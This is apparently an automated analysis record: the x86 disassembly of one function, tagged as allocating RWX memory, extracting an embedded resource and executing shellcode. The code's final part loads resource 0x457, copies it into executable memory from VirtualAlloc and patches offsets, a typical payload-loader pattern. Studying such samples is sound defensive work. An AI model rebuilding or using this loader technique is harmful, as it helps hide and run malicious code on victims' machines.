Function at 0x10003e20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100da76c
mov eax, dword fs:[0]
push eax
sub esp, 0xbc
mov eax, dword [0x10108c80]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [0x1010a0b8]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
mov edi, eax
mov dword [ebp - 0x98], edi
test edi, edi
je 0x1000450f
nop word [eax + eax]
mov ecx, edi
mov dword [ebp - 0x18], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003e90
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x28]
call fcn.10001c10
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov esi, dword [ebp - 0x28]
cmp edx, 0xf
mov dword [ebp - 4], 0
cmova eax, esi
cmp byte [eax], 0x5f
jne 0x100040c3
mov ecx, dword [ebp - 0x18]
mov eax, bind
sub eax, ecx
mov dword [ebp - 0xa4], ecx
cmp eax, 1
jb 0x10004870
cmp edx, 0xf
mov dword [ebp - 0x48], 0
lea eax, [ebp - 0x28]
mov dword [ebp - 0x44], 0
cmova eax, esi
lea edi, [ecx + 1]
mov dword [ebp - 0xa8], eax
lea esi, [ebp - 0x58]
mov eax, 0xf
xorps xmm0, xmm0
movups xmmword [ebp - 0x58], xmm0
cmp edi, eax
jbe 0x10003f4d
mov eax, edi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x10003f21
mov eax, bind
jmp 0x10003f2c
cmp eax, 0x16
mov ecx, 0x16
cmovb eax, ecx
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.10001bb0
mov esi, eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x58], esi
push dword [ebp - 0xa4]
lea ecx, [esi + 1]
mov dword [ebp - 0x48], edi
push dword [ebp - 0xa8]
mov dword [ebp - 0x44], eax
push ecx
mov byte [esi], 0x5f
call fcn.100aea50
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0xc8]
mov ecx, 0x1010a098
push eax
call fcn.10001dc0
mov esi, dword [ebp - 0xc0]
cmp byte [esi + 0xd], 0
jne 0x10003fb1
lea eax, [esi + 0x10]
mov ecx, 0x1010a098
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.10002a00
test al, al
je 0x1000405e
cmp dword [0x1010a09c], 0x5d1745d
je 0x1000486b
mov esi, dword [0x1010a098]
mov dword [ebp - 0xb0], 0x1010a098
push 0x2c
mov byte [ebp - 4], 2
mov dword [ebp - 0xac], 0
call fcn.100acdf8
xorps xmm0, xmm0
mov byte [ebp - 4], 1
add esp, 4
mov dword [ebp - 0xac], 0
mov ecx, 0x1010a098
movups xmmword [eax + 0x10], xmm0
mov dword [eax + 0x20], 0
mov dword [eax + 0x24], 0
movups xmm0, xmmword [ebp - 0x58]
push eax
push dword [ebp - 0xc4]
movups xmmword [eax + 0x10], xmm0
movq xmm0, qword [ebp - 0x48]
push dword [ebp - 0xc8]
movq qword [eax + 0x20], xmm0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
mov dword [eax + 0x28], 0
mov dword [eax], esi
mov dword [eax + 4], esi
mov dword [eax + 8], esi
mov word [eax + 0xc], 0
call fcn.10002fb0
mov esi, eax
mov ecx, dword [0x1010a0b8]
push dword [ebp - 0x98]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
call edx
mov dword [esi + 0x28], eax
mov ecx, dword [ebp - 0x44]
mov byte [ebp - 4], 0
cmp ecx, 0xf
jbe 0x100040ac
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100040a2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004866
push ecx
push edx
call fcn.100ace28
add esp, 8
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
jmp 0x100044a5
cmp edx, 0xf
lea eax, [ebp - 0x28]
cmova eax, esi
cmp byte [eax], 0x21
jne 0x10004160
mov eax, dword [ebp - 0x18]
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x40], xmm0
cmp eax, 1
jb 0x10004875
dec eax
or ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp edx, 0xf
lea eax, [ebp - 0x28]
cmova eax, esi
push ecx
inc eax
lea ecx, [ebp - 0x40]
push eax
call fcn.10001c10
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x10004148
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000413e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004866
push ecx
push edx
call fcn.100ace28
add esp, 8
movups xmm0, xmmword [ebp - 0x40]
movups xmmword [ebp - 0x28], xmm0
mov esi, dword [ebp - 0x28]
movq xmm0, qword [ebp - 0x30]
movq qword [ebp - 0x18], xmm0
mov edx, dword [ebp - 0x14]
cmp edx, 0xf
lea eax, [ebp - 0x28]
cmova eax, esi
movsx eax, byte [eax]
push eax
call fcn.100b2590
add esp, 4
test eax, eax
jne 0x100041f8
mov dword [ebp - 0x30], eax
xorps xmm0, xmm0
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x18]
movups xmmword [ebp - 0x40], xmm0
cmp eax, 1
jb 0x10004875
dec eax
or ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
push ecx
inc eax
lea ecx, [ebp - 0x40]
push eax
call fcn.10001c10
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x100041e6
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100041dc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004866
push ecx
push edx
call fcn.100ace28
add esp, 8
movups xmm0, xmmword [ebp - 0x40]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [ebp - 0x30]
movq qword [ebp - 0x18], xmm0
xor esi, esi
cmp dword [ebp - 0x18], esi
jbe 0x100042bc
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
nop dword [eax]
cmp ecx, 0xf
lea eax, [ebp - 0x28]
cmova eax, edx
movsx eax, byte [eax + esi]
push eax
call fcn.100b2590
mov ecx, dword [ebp - 0x14]
add esp, 4
mov edx, dword [ebp - 0x28]
test eax, eax
jne 0x1000423f
cmp ecx, 0xf
lea eax, [ebp - 0x28]
cmova eax, edx
cmp byte [eax + esi], 0x5f
jne 0x10004247
inc esi
cmp esi, dword [ebp - 0x18]
jb 0x10004210
jmp 0x100042bc
cmp dword [ebp - 0x18], esi
lea eax, [ebp - 0x28]
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
cmovb esi, dword [ebp - 0x18]
cmp ecx, 0xf
push esi
cmova eax, edx
mov dword [ebp - 0x2c], 0
push eax
lea ecx, [ebp - 0x40]
movups xmmword [ebp - 0x40], xmm0
call fcn.10001c10
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x100042aa
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100042a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004866
push ecx
push edx
call fcn.100ace28
add esp, 8
movups xmm0, xmmword [ebp - 0x40]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [ebp - 0x30]
movq qword [ebp - 0x18], xmm0
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.1005f900
push 2
push 0x100e07c0
push 0
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.10003c40
mov dword [ebp - 0x30], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp - 0xbc]
mov ecx, 0x1010a098
push eax
call fcn.10001dc0
mov esi, dword [ebp - 0xb4]
cmp byte [esi + 0xd], 0
jne 0x10004353
lea eax, [esi + 0x10]
mov ecx, 0x1010a098
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.10002a00
test al, al
je 0x10004400
cmp dword [0x1010a09c], 0x5d1745d
je 0x1000486b
mov esi, dword [0x1010a098]
mov dword [ebp - 0xa0], 0x1010a098
push 0x2c
mov byte [ebp - 4], 5
mov dword [ebp - 0x9c], 0
call fcn.100acdf8
xorps xmm0, xmm0
mov byte [ebp - 4], 4
add esp, 4
mov dword [ebp - 0x9c], 0
mov ecx, 0x1010a098
movups xmmword [eax + 0x10], xmm0
mov dword [eax + 0x20], 0
mov dword [eax + 0x24], 0
movups xmm0, xmmword [ebp - 0x40]
push eax
push dword [ebp - 0xb8]
movups xmmword [eax + 0x10], xmm0
movq xmm0, qword [ebp - 0x30]
push dword [ebp - 0xbc]
movq qword [eax + 0x20], xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
mov dword [eax + 0x28], 0
mov dword [eax], esi
mov dword [eax + 4], esi
mov dword [eax + 8], esi
mov word [eax + 0xc], 0
call fcn.10002fb0
mov esi, eax
mov ecx, dword [0x1010a0b8]
push edi
mov edx, dword [ecx]
mov edx, dword [edx + 8]
call edx
mov dword [esi + 0x28], eax
mov ecx, dword [ebp - 0x2c]
mov byte [ebp - 4], 3
cmp ecx, 0xf
jbe 0x10004449
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000443f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004866
push ecx
push edx
call fcn.100ace28
add esp, 8
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
mov byte [ebp - 4], 0
cmp ecx, 0xf
jbe 0x10004493
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10004489
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004866
push ecx
push edx
call fcn.100ace28
add esp, 8
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
cmp ecx, 0xf
jbe 0x100044e0
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100044d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004866
push ecx
push edx
call fcn.100ace28
add esp, 8
mov ecx, dword [0x1010a0b8]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
mov edi, eax
mov dword [ebp - 0x98], eax
test edi, edi
jne 0x10003e70
push 0xa
push 0x457
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x10004861
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10004861
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x10004861
mov edi, dword [eax]
lea esi, [eax + 4]
push 0x40
push 0x3000
push edi
push 0
mov dword [ebp - 0x9c], edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push esi
push eax
mov dword [0x1010a0b4], eax
call fcn.100aea50
mov ecx, dword [esi + edi]
lea eax, [edi + 4]
add eax, esi
mov dword [ebp - 0xa4], ecx
add esp, 0xc
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x98], 0
test ecx, ecx
jle 0x100046d9
nop word [eax + eax]
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.10003a70
mov esi, dword [ebp - 0x5c]
mov eax, dword [0x1010a0b4]
mov dword [ebp - 4], 6
cmp esi, eax
jl 0x10004861
add eax, edi
cmp esi, eax
jge 0x10004861
lea eax, [ebp - 0x74]
mov ecx, 0x1010a0a4
push eax
lea eax, [ebp - 0xbc]
push eax
call fcn.10001dc0
mov edi, dword [ebp - 0xb4]
cmp byte [edi + 0xd], 0
jne 0x1000460c
lea eax, [edi + 0x10]
mov ecx, 0x1010a0a4
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.10002a00
test al, al
je 0x100046a2
cmp dword [0x1010a0a8], 0x5d1745d
je 0x1000486b
mov eax, dword [0x1010a0a4]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xb0], 0x1010a0a4
push 0x2c
mov byte [ebp - 4], 7
mov dword [ebp - 0xac], 0
call fcn.100acdf8
mov edi, eax
add esp, 4
mov dword [ebp - 0xac], edi
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 8
push eax
lea ecx, [edi + 0x10]
call fcn.10002200
mov eax, dword [ebp - 0xa8]
mov ecx, 0x1010a0a4
push edi
push dword [ebp - 0xb8]
mov dword [edi + 0x28], 0
push dword [ebp - 0xbc]
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov word [edi + 0xc], 0
mov dword [ebp - 0xac], 0
call fcn.10002fb0
mov esi, dword [ebp - 0x5c]
mov edi, eax
lea ecx, [ebp - 0x74]
mov dword [edi + 0x28], esi
mov dword [ebp - 4], 0xffffffff
call fcn.10002900
mov edi, dword [ebp - 0x98]
inc edi
cmp edi, dword [ebp - 0xa4]
mov dword [ebp - 0x98], edi
mov edi, dword [ebp - 0x9c]
jl 0x100045a0
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
xor edi, edi
add eax, 4
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x94], eax
test ecx, ecx
jle 0x10004761
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.10003a70
mov esi, dword [ebp - 0x5c]
lea eax, [ebp - 0x74]
push eax
mov dword [ebp - 4], 9
call fcn.100039a0
sub eax, esi
mov dword [ebp - 4], 0xffffffff
add dword [esi], eax
mov ecx, dword [ebp - 0x60]
cmp ecx, 0xf
jbe 0x10004752
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10004748
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004866
push ecx
push edx
call fcn.100ace28
add esp, 8
inc edi
cmp edi, dword [ebp - 0x9c]
jl 0x100046f0
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
xor edi, edi
add eax, 4
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x94], eax
test ecx, ecx
jle 0x100047f2
nop dword [eax + eax]
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.10003a70
mov esi, dword [ebp - 0x78]
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 4], 0xa
call fcn.100039a0
add dword [esi], eax
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 4], 0xffffffff
cmp ecx, 0xf
jbe 0x100047e9
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100047df
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004866
push ecx
push edx
call fcn.100ace28
add esp, 8
inc edi
cmp edi, dword [ebp - 0x9c]
jl 0x10004780
mov esi, dword [0x1010a098]
mov ecx, 0x1010a098
push dword [esi + 4]
push 0x1010a098
call fcn.10001ca0
mov dword [esi + 4], esi
mov ecx, 0x1010a0a4
mov dword [esi], esi
mov dword [esi + 8], esi
mov esi, dword [0x1010a0a4]
mov dword [0x1010a09c], 0
push dword [esi + 4]
push 0x1010a0a4
call fcn.10001ca0
mov dword [esi + 4], esi
mov dword [esi], esi
mov dword [esi + 8], esi
mov dword [0x1010a0a8], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100ad4b8
mov esp, ebp
pop ebp
ret
call fcn.10003940
call fcn.100b251a
call fcn.100031e0
call fcn.100031f0
call fcn.10003200
int3